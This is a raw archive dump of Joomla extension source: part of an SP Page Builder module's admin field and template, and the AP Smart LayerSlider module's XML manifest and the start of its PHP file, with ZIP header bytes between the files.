			SpPgaeBuilderBase::loadAddons();
			$fa_icon_list     = SpPgaeBuilderBase::getIconList(); // Icon List
			$animateNames     = SpPgaeBuilderBase::getAnimationsList(); // Animation Names
			$accessLevels     = SpPgaeBuilderBase::getAccessLevelList(); // Access Levels
			$article_cats     = SpPgaeBuilderBase::getArticleCategories(); // Article Categories
			$moduleAttr       = SpPgaeBuilderBase::getModuleAttributes(); // Module Postions and Module Lits
			$rowSettings      = SpPgaeBuilderBase::getRowGlobalSettings(); // Row Settings Attributes
			$columnSettings   = SpPgaeBuilderBase::getColumnGlobalSettings(); // Column Settings Attributes
			$global_attributes = SpPgaeBuilderBase::addonOptions();
	
			// Addon List
			$addons_list    = SpAddonsConfig::$addons;
			$globalDefault = SpPgaeBuilderBase::getSettingsDefaultValue($global_attributes);
	
			 /**
			 * This block of code added for sppbtranslate component support.
			 * @since 3.7.10
			 */
			PluginHelper::importPlugin('system','sppagebuildertranslate');
			
			foreach ( $addons_list as $key => &$addon ) {
				$new_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($addon['attr']);
				$addon['default'] = array_merge($new_default_value['default'], $globalDefault['default']);

				/**
				 * This block of code added for sppbtranslate component support.
				 * @since 3.7.10
				 */
				if (JVERSION < 4) {
					$dispatcher = JDispatcher::getInstance();
					$results = $dispatcher->trigger('onBeforeAddonConfigure', array($key, &$addon));
				} else {
					$results = Factory::getApplication()->triggerEvent('onBeforeAddonConfigure', array($key, &$addon));
				}
			}
	
			$row_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($rowSettings['attr']);
			$rowSettings['default'] = $row_default_value;
	
			$column_default_value = SpPgaeBuilderBase::getSettingsDefaultValue($columnSettings['attr']);
			$columnSettings['default'] = $column_default_value;
	
			$doc->addScriptdeclaration('var addonsJSON=' . json_encode($addons_list) . ';');
	
			// Addon Categories
			$addon_cats = SpPgaeBuilderBase::getAddonCategories($addons_list);
			$doc->addScriptdeclaration('var addonCats=' . json_encode($addon_cats) . ';');
	
			// Global Attributes
			$doc->addScriptdeclaration('var globalAttr=' . json_encode( $global_attributes ) . ';');
			$doc->addScriptdeclaration('var faIconList=' . json_encode( $fa_icon_list ) . ';');
			$doc->addScriptdeclaration('var animateNames=' . json_encode( $animateNames ) . ';');
			$doc->addScriptdeclaration('var accessLevels=' . json_encode( $accessLevels ) . ';');
			$doc->addScriptdeclaration('var articleCats=' . json_encode( $article_cats ) . ';');
			$doc->addScriptdeclaration('var moduleAttr=' . json_encode( $moduleAttr ) . ';');
			$doc->addScriptdeclaration('var rowSettings=' . json_encode( $rowSettings ) . ';');
			$doc->addScriptdeclaration('var colSettings=' . json_encode( $columnSettings ) . ';');

			//Global variable for page name
			$doc->addScriptdeclaration('var pageType="module"; ');
			// Media
			$mediaParams = ComponentHelper::getParams('com_media');
			$doc->addScriptdeclaration('var sppbMediaPath=\'/'. $mediaParams->get('file_path', 'images') .'\';');

			$initialState = '[]';

			$pageData = $this->pageData($id);

			if(isset($pageData->id) && $pageData->id) {
				$view_id = $pageData->id;
				$content = $pageData->text;
				if(empty($content)) {
					$content = '[]';
				}
			} else {
				$data = $this->form->getData();
				$params = new Joomla\Registry\Registry($this->moduleParams($id));
				$title = $data->get('title');
				$content = $params->get('content', '[]');
				
				if(!$this->isJson($content))
				{
					$content = '[]';
				}

				$view_id = $this->insertData($id, $title, $content);

				if(empty($content))
				{
					$content = '[]';
				}
			}

			$initialState = $content;

			$doc->addScriptdeclaration('var initialState='. $initialState .';');
			$doc->addScriptdeclaration('var boxLayout=1;');

			$front_link = 'index.php?option=com_sppagebuilder&view=form&tmpl=component&layout=edit&extension=mod_sppagebuilder&extension_view=module&id=' . $view_id;
			$sefURI = str_replace('/administrator', '', SppagebuilderHelperRoute::buildRoute($front_link));

			$output = '<a class="btn btn-default" style="margin-bottom: 20px;" href="'. $sefURI .'" target="_blank">Frontend Edit with SP Page builder</a>';

			$output .= '<div class="sp-pagebuilder-admin pagebuilder-module"><div id="sp-pagebuilder-page-tools" class="sp-pagebuilder-page-tools"></div><div class="sp-pagebuilder-sidebar-and-builder"><div id="sp-pagebuilder-section-lib" class="clearfix sp-pagebuilder-section-lib"></div><div id="container"></div></div></div>';

			$output .= '<input type="hidden" name="'. $this->name .'" id="'. $this->id .'" value="">';
			$output .= '<input type="hidden" id="sppagebuilder_module_id" value="'. $id .'">';
			$output .= '<script type="text/javascript" src="' . Uri::base(true) . '/components/com_sppagebuilder/assets/js/engine.js" defer></script>';

			return $output;
		}
		else
		{
			$output .= '<div class="alert alert-info">Please save this module to activate Page Builder</div>';
		}

		$output .= '<style>#general .control-group .control-label {display: none;} #general .control-group .controls {margin-left: 0;}</style>';

		return $output;
	}

	private function moduleParams($id)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('params')));
		$query->from($db->quoteName('#__modules'));
		$query->where($db->quoteName('id') . ' = '. $db->quote($id));
		$db->setQuery($query);
		$result = $db->loadResult();

		return $result;
	}

	private function pageData($id)
	{
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select('*');
		$query->from($db->quoteName('#__sppagebuilder'));
		$query->where($db->quoteName('extension') . ' = '. $db->quote('mod_sppagebuilder'));
		$query->where($db->quoteName('extension_view') . ' = '. $db->quote('module'));
		$query->where($db->quoteName('view_id') . ' = '. $db->quote($id));
		$db->setQuery($query);
		$result = $db->loadObject();

		return $result;
	}

	private function insertData($id, $title, $content)
	{
		$user = Factory::getUser();
		$date = Factory::getDate();
        $db = Factory::getDbo();
		$page = new stdClass();
        $page->title = $title;
        $page->text = $content;
        $page->extension = 'mod_sppagebuilder';
        $page->extension_view = 'module';
        $page->view_id = $id;
		$page->published = 1;
		$page->created_by = (int) $user->id;
		$page->created_on = $date->toSql();
		$page->modified = $date->toSql();
		$page->checked_out_time = $date->toSql();
		$page->language = '*';
		$page->access = 1;
		$page->css = '';
		$page->active = 1;

		$db->insertObject('#__sppagebuilder', $page);
		return $db->insertid();
	}

	function isJson($string)
	{
		json_decode($string);
		return (json_last_error() == JSON_ERROR_NONE);
	}

	private function loadPageBuilderLanguage() {
		$lang = Factory::getLanguage();
		$lang->load('com_sppagebuilder', JPATH_ADMINISTRATOR, $lang->getName(), true);
		$lang->load('tpl_' . $this->getTemplate(), JPATH_SITE, $lang->getName(), true);
		require_once JPATH_ROOT .'/administrator/components/com_sppagebuilder/helpers/language.php';
	}
	
	private function getTemplate() {
		$db = Factory::getDbo();
		$query = $db->getQuery(true);
		$query->select($db->quoteName(array('template')));
		$query->from($db->quoteName('#__template_styles'));
		$query->where($db->quoteName('client_id') . ' = '. $db->quote(0));
		$query->where($db->quoteName('home') . ' = '. $db->quote(1));
		$db->setQuery($query);
		return $db->loadResult();
	}
}
PK!{�&��"mod_sppagebuilder/tmpl/default.phpnu&1i�<?php
/**
 * @package SP Page Builder
 * @author JoomShaper http://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or later
*/
//no direct accees
defined ('_JEXEC') or die ('restricted access');

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Component\ComponentHelper;

JLoader::register('SppagebuilderHelperSite', JPATH_SITE . '/components/com_sppagebuilder/helpers/helper.php');
require_once JPATH_ROOT .'/components/com_sppagebuilder/parser/addon-parser.php';
$doc = Factory::getDocument();
$input = Factory::getApplication()->input;
$component_params = ComponentHelper::getParams('com_sppagebuilder');

if ($component_params->get('fontawesome', 1))
{
	SppagebuilderHelperSite::addStylesheet('font-awesome-5.min.css');
	SppagebuilderHelperSite::addStylesheet('font-awesome-v4-shims.css');
}

if (!$component_params->get('disableanimatecss', 0))
{
	SppagebuilderHelperSite::addStylesheet('animate.min.css');
}

if (!$component_params->get('disablecss', 0))
{
	SppagebuilderHelperSite::addStylesheet('sppagebuilder.css');
}

HTMLHelper::_('jquery.framework');
HTMLHelper::_('script', 'components/com_sppagebuilder/assets/js/jquery.parallax.js', ['version' => SppagebuilderHelperSite::getVersion(true)] );
HTMLHelper::_('script', 'components/com_sppagebuilder/assets/js/sppagebuilder.js', ['version' => SppagebuilderHelperSite::getVersion(true)], ['defer' => true]);
?>
<div class="mod-sppagebuilder <?php echo $moduleclass_sfx ?> sp-page-builder" data-module_id="<?php echo $module->id; ?>">
	<div class="page-content">
		<?php echo AddonParser::viewAddons(json_decode($data), true, 'module' );?>
	</div>
</div>
PK!�*��]K]K5mod_ap_smart_layerslider/mod_ap_smart_layerslider.xmlnu&1i�<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.3" client="site" method="upgrade">
    <name>AP Smart LayerSlider</name>
    <creationDate>March 2019</creationDate>
    <author>Aplikko.com</author>
	<copyright>Copyright @ 2019 Aplikko.com. All rights reserved.</copyright>
    <license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
    <authorEmail>contact@aplikko.com</authorEmail>
    <authorUrl>http://www.aplikko.com</authorUrl>
    <version>3.6</version>
	<description></description>
	<scriptfile>admin/installscript.php</scriptfile>
     <files>
        <filename module="mod_ap_smart_layerslider">mod_ap_smart_layerslider.php</filename>
		<folder>admin</folder>
		<folder>assets</folder>
        <folder>tmpl</folder>
        <filename>helper.php</filename>
    </files>
	<languages>
		<language tag="en-GB">en-GB.mod_ap_smart_layerslider.ini</language>
	</languages>
	<config>
	   <fields name="params">
	   
	   <!-- Module (Basic) -->	
		<fieldset name="basic" addfieldpath="/modules/mod_ap_smart_layerslider/admin">
		  <field type="description" />
		</fieldset>

        <!-- Source -->	
		<fieldset name="source">    
			<field name="display_form" type="apradio" class="parent source btn-group" default="folder_image" label="APSL_DISPLAY_FORM_LABEL" description="APSL_DISPLAY_FORM_DESC" >
				<option value="joomla_content"><![CDATA[<i class="fa fa-joomla"></i> Joomla Content]]></option>
				<option value="k2"><![CDATA[<img src="../modules/mod_ap_smart_layerslider/admin/images/k2-logo.svg" /> K2 Content]]></option>
				<option value="folder_image"><![CDATA[<i class="fa fa-folder-open"></i> Image Folder]]></option>		
			</field>
			<field type="spacer" />
			<field name="catid" type="category" class="child source source_joomla_content" extension="com_content" multiple="true" size="10" default="" label="APSL_CATEGORY_LABEL" description="APSL_CATEGORY_DESC" >
				<option value="">JOPTION_ALL_CATEGORIES</option>
			</field>
			<field name="k2catid" type="k2category" class="child source source_k2" multiple="true" size="10" default="" label="APSL_K2_CATEGORY_LABEL"
				description="APSL_K2_CATEGORY_DESC" >
				<option value="">JOPTION_ALL_CATEGORIES</option>
			</field>
			<field name="sort_order_field" type="list" default="order" class="child source source_joomla_content source_k2" label="APSL_SORT_ORDER_BY_LABEL" description="APSL_SORT_ORDER_BY_DESC">
				<option value="id">APSL_SORT_DEFAULT</option>
				<option value="date">APSL_SORT_DATE</option>
				<option value="rdate">APSL_SORT_RDATE</option>
				<option value="publish_up">APSL_SORT_PUBLISH_UP</option>
				<option value="alpha">APSL_SORT_ALPHA</option>
				<option value="ralpha">APSL_SORT_RALPHA</option>
				<option value="order">APSL_SORT_ORDER</option>
				<option value="rorder">APSL_SORT_RORDER</option>
				<option value="hits">APSL_SORT_HITS</option>
				<option value="modified">APSL_SORT_MODIFIED</option>
				<option value="rand">APSL_SORT_RAND</option>
			</field>
			<field name="count" type="text" default="5" class="child source source_joomla_content source_k2" append="LIMIT_ITEMS_APPEND" data-content="LIMIT_ITEM_DATA_CONTENT" label="LIMIT_ITEM_LABEL" description="" />
	
			<!-- ApUploader -->	
			<field name="apuploader" type="apuploader" label="" description=""/>
			<field name="path_folder" type="apimagefolder" class="child source source_folder_image" directory="images" append="APSL_PATH_TO_FOLDER_APPEND" data-content="APSL_PATH_TO_FOLDER_DATA_CONTENT" label="APSL_PATH_TO_FOLDER_LABEL" description="APSL_PATH_TO_FOLDER_DESC" />
		</fieldset>
		  
		<!-- Item Settings -->		
		<fieldset name="slider_settings">
			<field name="theme" type="themeselect" hide_default="true" default="1" class="child source label-img" label="AP_THEME_SELECT_LABEL" description="AP_THEME_SELECT_DESC">
				<option value="1">Style 1</option>
				<option value="2">Style 2</option>
				<option value="3">Style 3</option>
				<option value="4">Style 4</option>
				<option value="5">Style 5</option>
			</field>
			<field type="spacer" />	
			<!-- Slide Options -->
			<field type="apspacer" label="APSL_SLIDE_OPTIONS" />
			<field name="image_width" type="aptext" default="1170" append="px" label="APSL_SLIDE_WIDTH_LABEL" description="APSL_SLIDE_WIDTH_DESC" />
			<field name="image_height" type="aptext" default="400" append="px" label="APSL_SLIDE_HEIGHT_LABEL" description="APSL_SLIDE_HEIGHT_DESC" />
			<field name="mainimage_mode" type="aplist" default="crop" class="parent image_mode" label="APSL_IMAGE_MODE_LABEL" description="APSL_IMAGE_MODE_DESC">
				<option value="none">JNO</option>
				<option value="resize">MOD_AP_RESIZE</option>
				<option value="crop">MOD_AP_CROP</option>
			</field>
			<field name="use_ratio" type="radio" default="1" class="child image_mode image_mode_resize btn-group" label="APSL_USE_RATIO_LABEL" description="APSL_USE_RATIO_DESC">
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>					
			
			<field type="spacer" />	
			<field name="forceSize" type="radio" label="APSL_FORCE_SIZE_LABEL" default="none" description="APSL_FORCE_SIZE_DESC" class="btn-group radios-align">
				 <option value="fullWidth">Full Width</option>
				 <option value="fullWindow">Full Window</option>
				 <option value="none">None</option>
			</field>
			<field name="visibleSize" type="radio" label="APSL_VISIBLE_SIZE_LABEL" default="auto" description="APSL_VISIBLE_SIZE_DESC" class="btn-group radios-align">
				 <option value="auto">Auto</option>
				 <option value="100%">100%</option>
			</field>
			<field name="slideDistance" type="aptext" default="10" append="px" label="APSL_SLIDE_DISTANCE_LABEL" description="APSL_SLIDE_DISTANCE_DESC" />
			<field type="spacer" />	
			<field name="responsive" type="radio" class="btn-group" default="1" label="APSL_RESPONSIVE_LABEL" description="APSL_RESPONSIVE_DESC">
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="imageScaleMode" type="radio" label="APSL_IMAGE_SCALE_MODE_LABEL" default="cover" description="APSL_IMAGE_SCALE_MODE_DESC" class="btn-group radios-align">
				 <option value="cover">Cover</option>
				 <option value="contain">Contain</option>
				 <option value="exact">Exact</option>
				 <option value="none">None</option>
			</field>
			<field name="autoHeight" type="radio" class="btn-group" label="APSL_AUTO_HEIGHT_LABEL" default="0" description="APSL_AUTO_HEIGHT_DESC"> 				 				 
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="autoScaleLayers" type="radio" class="btn-group" default="1" label="APSL_AUTO_SCALE_LABEL" description="APSL_AUTO_SCALE_DESC"> 				 				 
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="waitForLayers" type="radio" default="0" class="btn-group" label="APSL_WAIT_FOR_LAYERS_LABEL" description="APSL_WAIT_FOR_LAYERS_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>	
			<field name="orientation" type="radio" label="APSL_ORIENTATION_LABEL" default="horizontal" description="APSL_ORIENTATION_DESC" class="btn-group radios-align">
				 <option value="horizontal"><![CDATA[<i class="fa fa-arrows-h"></i>]]> Horizontal</option>
				 <option value="vertical">Vertical <![CDATA[<i class="fa fa-arrows-v"></i>]]></option>
			</field>
			<field name="loop" type="radio" default="1" class="btn-group" label="APSL_LOOP_LABEL" description="APSL_LOOP_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="shuffle" type="radio" default="0" class="btn-group" label="APSL_SHUFFLE_LABEL" description="APSL_SHUFFLE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			
			<!-- Fullscreen-->
			<field name="fullScreen" type="radio" default="0" class="parent fullscreen btn-group" label="APSL_FULLSCREEN_LABEL" description="APSL_FULLSCREEN_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="fullscreen_button_color" type="color" class="child fullscreen fullscreen_1" default="#000000" label="Fullscreen button color" description="Custom color for Fullscreen button" />	
			
			<!-- Fade Effect -->					
			<field type="spacer" />
			<field name="fadeEffect" type="radio" class="parent fade_effect btn-group" default="0" label="APSL_FADE_LABEL" description="APSL_FADE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="fadeOutPreviousSlide" type="radio" default="1" class="child fade_effect fade_effect_1 btn-group" label="APSL_FADE_PREVIOUS_SLIDE_LABEL" description="APSL_FADE_PREVIOUS_SLIDE_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="fadeDuration" type="aptext" class="child fade_effect fade_effect_1" default="500" append="INTERVAL_APPEND" data-content="FADE_DURATION_DATA" label="FADE_DURATION_LABEL" description="FADE_DURATION_DESC" />
			
			<!-- Autoplay -->
			<field type="spacer" />
			<field name="autoplay" type="radio" class="parent autoplay btn-group" default="0" label="APSL_AUTOPLAY_LABEL" description="APSL_AUTOPLAY_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>
			<field name="autoplayDelay" type="aptext" class="child autoplay autoplay_1" default="5000" append="INTERVAL_APPEND" data-content="APSL_AUTOPLAY_DELAY_DATA" label="INTERVAL" description="APSL_AUTOPLAY_DELAY_DESC" />
			<field name="autoplayOnHover" type="radio" default="pause" label="APSL_AUTOPLAY_ON_HOVER_LABEL" description="APSL_AUTOPLAY_ON_HOVER_DESC" class="child autoplay autoplay_1 btn-group radios-align">
				 <option value="pause">Pause</option>
				 <option value="stop">Stop</option>
				 <option value="none">None</option>
			</field>	
			
			<!-- Thumbnail Settings -->
			<field type="apspacer" label="APSL_THUMBNAIL_SETTINGS" />

			<field name="show_thumbnails" type="radio" class="parent thumbnails btn-group" label="APSL_THUMBNAILS_LABEL" default="0" description="APSL_THUMBNAILS_DESC"> 				 				 
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="thumbnailWidth" type="aptext" class="child thumbnails thumbnails_1" default="120" append="px" label="APSL_THUMBNAIL_WIDTH_LABEL" description="APSL_THUMBNAIL_WIDTH_DESC" />
			<field name="thumbnailHeight" type="aptext" class="child thumbnails thumbnails_1" default="80" append="px" label="APSL_THUMBNAIL_HEIGHT_LABEL" description="APSL_THUMBNAIL_HEIGHT_DESC" />
			<field name="thumbnailtxt_align" type="radio" class="child thumbnails thumbnails_1 btn-group text-align" default="left" label="APSL_THUMBNAIL_TXT_ALIGN_LABEL" description="APSL_THUMBNAIL_TXT_ALIGN_DESC">
				<option value="left"><![CDATA[<i class="fa fa-align-left hasTooltip" title="Align Left"></i>]]></option>
				<option value="center"><![CDATA[<i class="fa fa-align-center hasTooltip" title="Align Center"></i>]]></option>
				<option value="right"><![CDATA[<i class="fa fa-align-right hasTooltip" title="Align Right"></i>]]></option>
			</field>
			<field name="show_thumbnail_description" type="radio" class="child thumbnails thumbnails_1 btn-group" default="1" label="APSL_SHOW_THUMBNAIL_DESCRIPTION_LABEL" description="APSL_SHOW_THUMBNAIL_DESCRIPTION_DESC">
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="thumbnail_description_max_chars" type="text" class="child thumbnails thumbnails_1" default="50" label="APSL_THUMBNAIL_DESCRIPTION_MAXCHARS_LABEL" description="APSL_THUMBNAIL_DESCRIPTION_MAXCHARS_DESC" />
			<field name="selected_thumbnail_txt_color" type="color" class="child thumbnails thumbnails_1" default="" label="APSL_SELECTED_THUMBNAIL_TXTCOLOR_LABEL" description="APSL_SELECTED_THUMBNAIL_TXTCOLOR_DESC" />
			<field name="selected_thumbnail_backg_color" type="apcolorrgba" class="child thumbnails thumbnails_1" default="" label="APSL_SELECTED_THUMBNAIL_BCKG_LABEL" description="APSL_SELECTED_THUMBNAIL_BCKG_DESC" />
			<field name="thumbnailsPosition" type="radio" default="bottom" label="APSL_THUMBNAIL_POSITION_LABEL" description="APSL_THUMBNAIL_POSITION_DESC" class="child thumbnails thumbnails_1 btn-group radios-align">
				 <option value="top">Top</option>
				 <option value="right">Right</option>
				 <option value="bottom">Bottom</option>
				 <option value="left">Left</option>
			</field>
			<field name="thumbnailPointer" type="radio" class="child thumbnails thumbnails_1 btn-group" label="APSL_THUMBNAIL_POINTER_LABEL" default="0" description="APSL_THUMBNAIL_POINTER_DESC"> 				 				
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="thumbnailPointer_color" type="color" class="child thumbnails thumbnails_1" default="" label="APSL_THUMBNAIL_POINTER_COLOR_LABEL" description="APSL_THUMBNAIL_POINTER_COLOR_DESC" />
			<field name="thumbnailArrows" type="radio" class="child thumbnails thumbnails_1 btn-group" label="APSL_THUMBNAIL_ARROWS_LABEL" default="0" description="APSL_THUMBNAIL_ARROWS_DESC"> 				 				
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>

			<!-- Arrows -->
			<field type="apspacer" label="APSL_ARROWS" />
			<field name="show_arrows" type="radio" class="parent arrows btn-group" label="APSL_SHOW_ARROWS_LABEL" default="1" description="APSL_SHOW_ARROWS_DESC">
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="arrows_size" type="aptext" class="child arrows arrows_1" default="50" append="px" label="APSL_ARROWS_SIZE_LABEL" description="APSL_ARROWS_SIZE_DESC" />
			<field name="arrows_backg_color" type="apcolorrgba" class="child arrows arrows_1" default="" label="APSL_ARROWS_BACKG_COLOR_LABEL" description="APSL_ARROWS_BACKG_COLOR_DESC" />
			<field name="arrows_color" type="apcolorrgba" class="child arrows arrows_1" default="" label="APSL_ARROWS_COLOR_LABEL" description="APSL_ARROWS_COLOR_DESC" />	
			
			<!-- Buttons -->
			<field type="apspacer" label="APSL_BUTTONS" />		
			<field name="show_buttons" type="radio" class="parent buttons btn-group" label="APSL_SHOW_BUTTONS_LABEL" default="1" description="APSL_SHOW_BUTTONS_DESC"> 				 				 
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field name="buttons_color" type="apcolorrgba" class="child buttons buttons_1" default="" label="APSL_BUTTONS_COLOR_LABEL" description="APSL_BUTTONS_COLOR_DESC" />	
			
			<!-- Captions -->	
			<field type="apspacer" label="APSL_CAPTIONS" />
			<field name="display_caption" type="radio" default="0" class="parent display_captions btn-group" label="APSL_DISPLAY_CAPTIONS_LABEL" description="APSL_DISPLAY_CAPTIONS_DESC">
				<option value="1">JYES</option>
				<option value="0">JNO</option>
			</field>	
			<field name="captiontxt_align" type="radio" default="center" label="APSL_CAPTION_TXT_ALIGN_LABEL" description="APSL_CAPTION_TXT_ALIGN_DESC" class="child display_captions display_captions_1 btn-group text-align">
				<option value="left"><![CDATA[<i class="fa fa-align-left hasTooltip" title="Align Left"></i>]]></option>
				<option value="center"><![CDATA[<i class="fa fa-align-center hasTooltip" title="Align Center"></i>]]></option>
				<option value="right"><![CDATA[<i class="fa fa-align-right hasTooltip" title="Align Right"></i>]]></option>
			</field>	
			<!-- Caption max characters -->
			<field name="description_max_chars" type="text" class="child display_captions display_captions_1" default="70" label="APSL_CAPTION_MAX_CHARS_LABEL" description="APSL_CAPTION_MAX_CHARS_DESC" />
			
			<!-- Video Options -->
			<field type="apspacer" name="videoapspacer" class="hideshowspacer" label="APSL_VIDEO_LABEL" description="APSL_VIDEO_DESC" />
			<field name="load_videojs" type="radio" class="btn-group" label="APSL_LOAD_VIDEOJS_LABEL" default="0" description="APSL_LOAD_VIDEOJS_DESC"> 				 				 
				 <option value="1">JYES</option>
				 <option value="0">JNO</option>
			</field>
			<field type="spacer" />	
			<field name="reachVideoAction" type="radio" default="none" label="APSL_REACH_VIDEO_ACTION_LABEL" description="APSL_REACH_VIDEO_ACTION_DESC" class="btn-group radios-align">
				 <option value="playVideo">Play Video</option>
				 <option value="none">None</option>
			</field>
			<field name="leaveVideoAction" type="radio" default="pauseVideo" label="APSL_LEAVE_VIDEO_ACTION_LABEL" description="APSL_LEAVE_VIDEO_ACTION_DESC" class="btn-group radios-align">
				 <option value="stopVideo">Stop Video</option>
				 <option value="pauseVideo">Pause Video</option>
				 <option value="removeVideo">Remove Video</option>
				 <option value="none">None</option>
			</field>
			<field name="playVideoAction" type="radio" default="stopAutoplay" label="APSL_PLAY_VIDEO_ACTION_LABEL" description="APSL_PLAY_VIDEO_ACTION_DESC" class="btn-group radios-align">
				 <option value="stopAutoplay">Stop Autoplay</option>
				 <option value="none">None</option>
			</field>
			<field name="pauseVideoAction" type="radio" default="none" label="APSL_PAUSE_VIDEO_ACTION_LABEL" description="APSL_PAUSE_VIDEO_ACTION_DESC" class="btn-group radios-align">
				 <option value="startAutoplay">Start Autoplay</option>
				 <option value="none">None</option>
			</field>
			<field name="endVideoAction" type="radio" default="none" label="APSL_END_VIDEO_ACTION_LABEL" description="APSL_END_VIDEO_ACTION_DESC" class="btn-group radios-align">
				 <option value="startAutoplay">Start Autoplay</option>
				 <option value="nextSlide">Next Slide</option>
				 <option value="replayVideo">Replay Video</option>
				 <option value="none">None</option>
			</field>
		</fieldset>
	
		<!-- Advanced -->	
		<fieldset name="advanced">
			<field type="apspacer" name="loadjsapspacer" class="hideshowspacer" label="APSL_JS_LABEL_INFO_LABEL" description="APSL_JS_LABEL_INFO_DESC" />
			<field name="load_js" type="radio" label="APSL_LOAD_JS_LABEL" default="customtag" description="APSL_LOAD_JS_DESC" class="btn-group radios-align"> 				 				 
				 <option value="customtag">Add Custom Tag</option>
				 <option value="head">To Head</option>
			</field>
			<field type="spacer" />	
			<field type="apspacer" label="Other Options" />
			<field name="moduleclass_sfx" type="text" default="" label="MODULE_CLASS_SUFFIX" description="PARAMMODULECLASSSUFFIX" />		
			<field name="moduleclass_sfx" type="text" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="cache" type="list" default="1" label="COM_MODULES_FIELD_CACHING_LABEL" description="COM_MODULES_FIELD_CACHING_DESC">
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>
				<field name="cache_time" type="text" default="900" label="COM_MODULES_FIELD_CACHE_TIME_LABEL" description="COM_MODULES_FIELD_CACHE_TIME_DESC" />
				<field name="cachemode" type="hidden" default="itemid">
				   <option value="itemid"></option>
				</field>
			<field type="Apmod" default="" label="&lt;span class=&quot;hidden&quot;&gt;&lt;/span&gt;" description="" />
		</fieldset>

	</fields>
  </config>	
</extension>
PK!O����5mod_ap_smart_layerslider/mod_ap_smart_layerslider.phpnu&1i�<?php
/**
 * AP Smart LayerSlider Module
 * @author		Aplikko
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2019 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

require_once __DIR__ . '/helper.php';

$doc = JFactory::getDocument();
//Params
$moduleclass_sfx = $params->get('moduleclass_sfx');
$moduleName = basename(dirname(__FILE__));
$baseUri = JURI::root(true) . '/modules/mod_ap_smart_layerslider/';
$ext_id = "mod_".$module->id;
$moduleId = $module->id;
//Themes
$theme = $params->get('theme', '1');
if (empty($theme)) $theme = '1';


//Slides
$image_width = $params->get('image_width');
$image_height = $params->get('image_height');
$forceSize = $params->get('forceSize', 'none');
$visibleSize = $params->get('visibleSize', 'auto');
$slideDistance = $params->get('slideDistance', 10);
$responsive = $params->get('responsive', 1);
$imageScaleMode = $params->get('imageScaleMode', 'cover');
$autoHeight = $params->get('autoHeight', 1);
$autoScaleLayers = $params->get('autoScaleLayers', 1);
$waitForLayers = $params->get('waitForLayers', 0);
$orientation = $params->get('orientation', 'horizontal');
$loop = $params->get('loop', 1);
$shuffle = $params->get('shuffle', 0);
$fullScreen = $params->get('fullScreen', 0);
$fullscreen_button_color = $params->get('fullscreen_button_color');
// Fade
$fadeEffect = $params->get('fadeEffect');
$fadeOutPreviousSlide = $params->get('fadeOutPreviousSlide');
$fadeDuration = $params->get('fadeDuration', 500);
// Autoplay
$autoplay = $params->get("autoplay", 0);
$autoplayDelay = $params->get('autoplayDelay', 5000);
$autoplayOnHover = $params->get('autoplayOnHover', 'pause');

// Thumbnails
$show_thumbnails = $params->get('show_thumbnails', 0);
$thumbnailWidth = $params->get('thumbnailWidth', 120);
$thumbnailHeight = $params->get('thumbnailHeight', 80);
$thumbnailtxt_align = $params->get('thumbnailtxt_align', 'center');
$thumbnailsPosition = $params->get('thumbnailsPosition', 'bottom');
$thumbnailPointer = $params->get('thumbnailPointer', 0);
$thumbnailPointer_color = $params->get('thumbnailPointer_color');
$thumbnailArrows = $params->get('thumbnailArrows', 0);
$show_thumbnail_description = $params->get('show_thumbnail_description', 1);
$selected_thumbnail_backg_color = $params->get('selected_thumbnail_backg_color');
$selected_thumbnail_txt_color = $params->get('selected_thumbnail_txt_color');

// Arrows
$show_arrows = $params->get('show_arrows', 1);
$arrows_size = $params->get('arrows_size', 50); 
$arrows_backg_color = $params->get('arrows_backg_color');
$arrows_color = $params->get('arrows_color');

// Buttons
$show_buttons = $params->get('show_buttons', 1);
$buttons_color = $params->get('buttons_color');

// Captions
$display_caption = $params->get('display_caption', 0);
$captiontxt_align = $params->get('captiontxt_align', 'center');
$description_max_chars = $params->get('description_max_chars', 70);

// Video Options
$load_videojs = $params->get('load_videojs', 1);
$reachVideoAction = $params->get('reachVideoAction', 'none');
$leaveVideoAction = $params->get('leaveVideoAction', 'pauseVideo');
$playVideoAction = $params->get('playVideoAction', 'stopAutoplay');
$pauseVideoAction = $params->get('pauseVideoAction', 'none');
$endVideoAction = $params->get('endVideoAction', 'none');

// Way to load javascript
$load_js = $params->get('load_js', 'customtag');

//Get list from Helper
